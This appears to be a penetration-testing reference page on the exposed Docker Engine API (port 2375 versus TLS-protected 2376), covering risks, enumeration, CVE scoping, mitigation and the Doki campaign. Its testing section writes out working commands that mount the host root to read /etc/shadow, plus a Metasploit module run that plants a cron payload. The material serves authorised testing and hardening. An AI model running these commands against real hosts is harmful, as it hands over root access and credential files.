Service:
Docker Engine API (dockerd)Protocol:
TCPPort:
2375Used for:
Remote control of the Docker Engine daemon (dockerd) over TCP — 2375 for the plaintext, unauthenticated API and 2376 for the TLS-protected, mutually-authenticated onePort 2375 is the default TCP port for the Docker Engine remote API — the HTTP control plane of the dockerd daemon. Anything you can do with the docker CLI locally, you can do to a remote daemon over this port: list, create, start, and stop containers, pull and build images, and mount host paths into containers. The catch is that port 2375 is the plaintext, completely unauthenticated variant — there is no login, no token, no client certificate. Its sibling port 2376 is the TLS-protected variant, which uses mutual certificate authentication so only clients holding a valid cert can talk to the daemon. In practice an open, internet-reachable 2375 is one of the most dangerous single findings on a network: because the Docker daemon runs as root and can mount the host filesystem into a container, unauthenticated access to 2375 is effectively unauthenticated root on the host.
Why It’s Open
The Docker daemon speaks to its client over a local Unix socket (/var/run/docker.sock) by default, which never touches the network. Port 2375/2376 only opens when someone deliberately configures dockerd to listen on a TCP address — typically to manage containers from another machine, to wire the host into a CI/CD pipeline or an orchestrator, or to point a remote GUI like Portainer at the engine.
The problem is how that gets done. The secure path is 2376 with --tlsverify and a full set of CA, server, and client certificates. The easy, dangerous path — copied from countless outdated blog posts and Stack Overflow answers — is to add -H tcp://0.0.0.0:2375 (or the hosts array in daemon.json) with no TLS at all. That single flag binds the root-privileged daemon to every interface with zero authentication. Cloud VMs, Kubernetes nodes, and developer laptops end up exposing 2375 to the whole internet this way, and mass scanners find them within minutes.
Common Risks
- Unauthenticated root-equivalent access. There is no auth on 2375. Anyone who can reach the port has full control of the daemon, which runs as root — so reaching 2375 is functionally reaching a root shell on the host.
- Trivial container escape / host takeover. An attacker runs a container with the host root mounted (
-v /:/host), then reads or writes any file on the host: dump/etc/shadow, drop an SSH key into/root/.ssh/authorized_keys, or write a cron job for guaranteed code execution. No exploit needed — it is the API working as designed. - Cryptojacking and botnet recruitment. Exposed Docker APIs are a favourite of automated miners. Attackers spawn miner containers with host mounts and enlist the box into a botnet (see the real-world example below).
- Data theft from images and volumes. The API lets an attacker pull images, inspect environment variables and build args (which routinely leak secrets and cloud credentials), and read mounted volumes.
- Lateral movement. A compromised daemon is a pivot: its containers, networks, and mounted secrets expose the rest of the environment, cloud metadata endpoints are often reachable from the new container, and on a cluster node it neighbours other orchestration surfaces like the Kubernetes API on port 8001.
- Information disclosure without auth. Even before running anything,
GET /version,/info,/containers/json, and/images/jsonhand an attacker the engine version, OS/kernel, running containers, and image inventory — everything needed to plan the next step.
Want to save time on reporting?
Let PentestPad generate, track, and export your reports - automatically.

Enumeration & Testing
The first job on an open 2375 is to confirm it is an unauthenticated Docker daemon, then measure the blast radius. If the port answers on 2376 instead, it is almost certainly TLS-protected and will reject you without a client certificate — confirm that rejection rather than assuming it.
Version scan and Docker fingerprint
nmap -sV -p 2375,2376 <target>nmap -p 2375,2376 --script docker-version <target>The docker-version NSE script issues a GET /version to the daemon and parses the JSON, returning the Docker version, API version, Go version, kernel, and OS.
Query the API directly with curl
curl -s http://<target>:2375/versioncurl -s http://<target>:2375/infocurl -s http://<target>:2375/containers/jsoncurl -s http://<target>:2375/images/jsonA clean JSON reply on plain HTTP (no TLS handshake required) confirms an unauthenticated daemon. On 2376 these same requests over HTTP will typically fail or be refused without a client cert.
Drive it with the Docker CLI
docker -H tcp://<target>:2375 versiondocker -H tcp://<target>:2375 infodocker -H tcp://<target>:2375 psdocker -H tcp://<target>:2375 imagesIf these succeed with no credentials, the daemon is fully exposed.
Demonstrate host filesystem access (impact proof)
# Mounts the host root read/write into a container and reads a host-only filedocker -H tcp://<target>:2375 run --rm -v /:/host alpine cat /host/etc/shadowThis single command proves root-level host read/write. Use it only within an authorised engagement, and capture the output as evidence for the pentest report rather than modifying anything on the host.
Metasploit
msfconsole -quse exploit/linux/http/docker_daemon_tcpset RHOSTS <target>set RPORT 2375runexploit/linux/http/docker_daemon_tcp (“Docker Daemon - Unprotected TCP Socket”) creates a container with the host / mounted read/write and writes a cron job under /etc/cron.d/ to execute a payload on the host.
Record every open 2375/2376, the daemon version, the container and image inventory, and each impact command you confirm, so the proof lands in the pentest report instead of a scratch terminal you’ll lose.
What to Look For
| Checkpoint | What it means |
|---|---|
GET /version returns JSON over plain HTTP on 2375 |
Unauthenticated Docker daemon — treat as root on the host |
| Port 2376 refuses plain HTTP / demands a client cert | TLS-protected API — needs valid mutual certs, far lower risk |
docker -H tcp://<target>:2375 ps succeeds with no creds |
Full API access confirmed; enumerate containers and images |
-v /:/host mount reads host files |
Container escape to host filesystem — critical, root-equivalent |
Secrets in docker inspect env / build args |
Leaked credentials for lateral movement into cloud/apps |
| Reachable from the internet (0.0.0.0 bind) | Mass-scanned constantly; assume compromise if long-exposed |
| Unknown miner containers already running | Host likely already cryptojacked — treat as an active incident |
Known CVEs and Exploits
An exposed port 2375 is overwhelmingly a misconfiguration, not a software vulnerability. There is no single “Docker API CVE” that opens the port — the danger is the intended behaviour of an unauthenticated, root-privileged daemon that was deliberately bound to the network without TLS. The most reliable “exploit” is simply the Docker CLI or REST API itself (docker -H tcp://<target>:2375 run -v /:/host ...), weaponised in Metasploit as exploit/linux/http/docker_daemon_tcp. So the honest framing here is a design/configuration finding, and it is critical on its own merits without needing a CVE number attached.
The container-security CVE most often cited alongside 2375 is a genuinely different issue and should be scoped honestly:
- CVE-2019-5736 — a runc container-escape (Docker before 18.09.2, runc up to 1.0-rc6). A malicious or attacker-controlled container overwrites the host
runcbinary via/proc/self/exeand gains host root. CVSS 8.6. It is adjacent to Docker security and worth patching, but it is not a port-2375 network bug — it requires the ability to run a crafted container, not merely to reach the daemon over TCP. Do not present it as “the 2375 vulnerability.”
No fabricated or wrong-service CVEs are carried on this page. If you find a scanner or an old write-up claiming a specific “port 2375 RCE CVE,” verify it against its NVD record before trusting it — in almost every case the real issue is the unauthenticated TCP exposure itself.
Mitigation
- Never expose 2375 to any untrusted network. Bind
dockerdonly to the local Unix socket or127.0.0.1unless remote access is genuinely required. - If you need remote access, use 2376 with TLS mutual auth. Run
dockerdwith--tlsverify, a proper CA, and per-client certificates so only certificate-holders can connect. Never use plaintext 2375 across a network. - Prefer not exposing the daemon at all. Use SSH-based contexts (
docker contextover SSH) or an orchestrator’s own authenticated API instead of publishing the raw engine socket. - Firewall 2375/2376 to a small management allowlist, and audit cloud security groups and
daemon.jsonfor an accidental0.0.0.0bind. - Front management UIs with authentication and TLS. Put Portainer or any Docker GUI behind HTTPS on 443 with real access control, never on an open plaintext port.
- Run rootless Docker where possible to shrink the blast radius of any daemon compromise, and keep the engine and runc patched (e.g. against CVE-2019-5736).
- Monitor for scanning and unexpected containers, and after locking down, rescan with
nmap -p 2375,2376 <target>to confirm the port is closed or TLS-only.
Real-World Example
In July 2020, Intezer documented the Doki backdoor, deployed by the Ngrok threat group in a campaign that had been running for years against cloud servers. The entry point was the classic misconfiguration: attackers mass-scanned for publicly exposed Docker Engine APIs on the plaintext port 2375 (not the TLS-protected 2376), and where they found one they used the unauthenticated API to spawn their own containers with the host filesystem mounted in. From there they escaped to the host and installed Doki — a stealthy Linux backdoor whose command-and-control used a domain-generation algorithm keyed off the live Dogecoin blockchain, making its infrastructure hard to take down. The same pattern — scan for open 2375, create a container with a host mount, drop a cryptominer or backdoor — is shared by the TeamTNT and Kinsing cryptojacking operations, and fresh Docker-API swarm-botnet campaigns were still being reported in 2024. None of it needed an exploit or a CVE: the exposed, unauthenticated daemon was the vulnerability.
FAQ
What is port 2375 used for?
Port 2375 is the default TCP port for the Docker Engine remote API — the HTTP interface to the dockerd daemon that lets you manage containers and images from another machine. It is the plaintext, unauthenticated variant; the TLS-protected, certificate-authenticated variant runs on port 2376. By default the daemon uses a local Unix socket and neither TCP port is open unless an administrator explicitly enables it.
What is the difference between port 2375 and 2376?
2375 is unencrypted and has no authentication — anyone who can reach it controls the daemon. 2376 uses TLS with mutual certificate authentication, so only clients presenting a valid certificate signed by the daemon’s CA can connect. If you must expose the Docker API over the network, use 2376 with --tlsverify; never use 2375 outside a trusted loopback.
Why is an exposed port 2375 so dangerous?
Because the Docker daemon runs as root and can mount any host path into a container. With unauthenticated access to 2375, an attacker runs a container with -v /:/host and reads or writes anything on the host — grabbing /etc/shadow, adding an SSH key, or writing a cron job for code execution. Reaching 2375 is therefore effectively unauthenticated root on the host, no exploit required.
Is there a CVE for port 2375?
Not really — an open 2375 is a misconfiguration, not a software bug, so there is no single CVE that “opens” it. The frequently-cited CVE-2019-5736 is a runc container-escape that needs the ability to run a crafted container; it is adjacent to Docker security but is not a 2375 network vulnerability. The exposed, unauthenticated daemon is critical on its own without a CVE number.
How do I check whether my port 2375 is exposed?
From another host, run curl -s http://<target>:2375/version or docker -H tcp://<target>:2375 info. If either returns Docker data over plain HTTP with no credentials, the daemon is exposed and must be locked down immediately. nmap -p 2375,2376 --script docker-version <target> fingerprints it in one step.
How do I secure or close port 2375?
Bind dockerd to the local Unix socket or 127.0.0.1 only, and remove any -H tcp://0.0.0.0:2375 flag or daemon.json host entry. If you need remote management, switch to 2376 with TLS mutual authentication, or use SSH-based Docker contexts instead. Firewall 2375/2376 to a management allowlist, run rootless Docker where possible, and rescan to confirm the plaintext port is closed.
TL;DR
- Service: Docker Engine remote API (the
dockerddaemon) — 2375 plaintext/unauthenticated, 2376 TLS with mutual-cert auth - Default port: 2375/TCP (unencrypted) and 2376/TCP (TLS); the daemon defaults to a local Unix socket with neither open
- Biggest risk: an exposed, unauthenticated 2375 is root-equivalent access to the host — mount
/into a container and read/write anything, leading to trivial host takeover and cryptojacking - Mitigation: never expose 2375; use 2376 with TLS mutual auth or SSH contexts, firewall to an allowlist, run rootless Docker, and rescan to confirm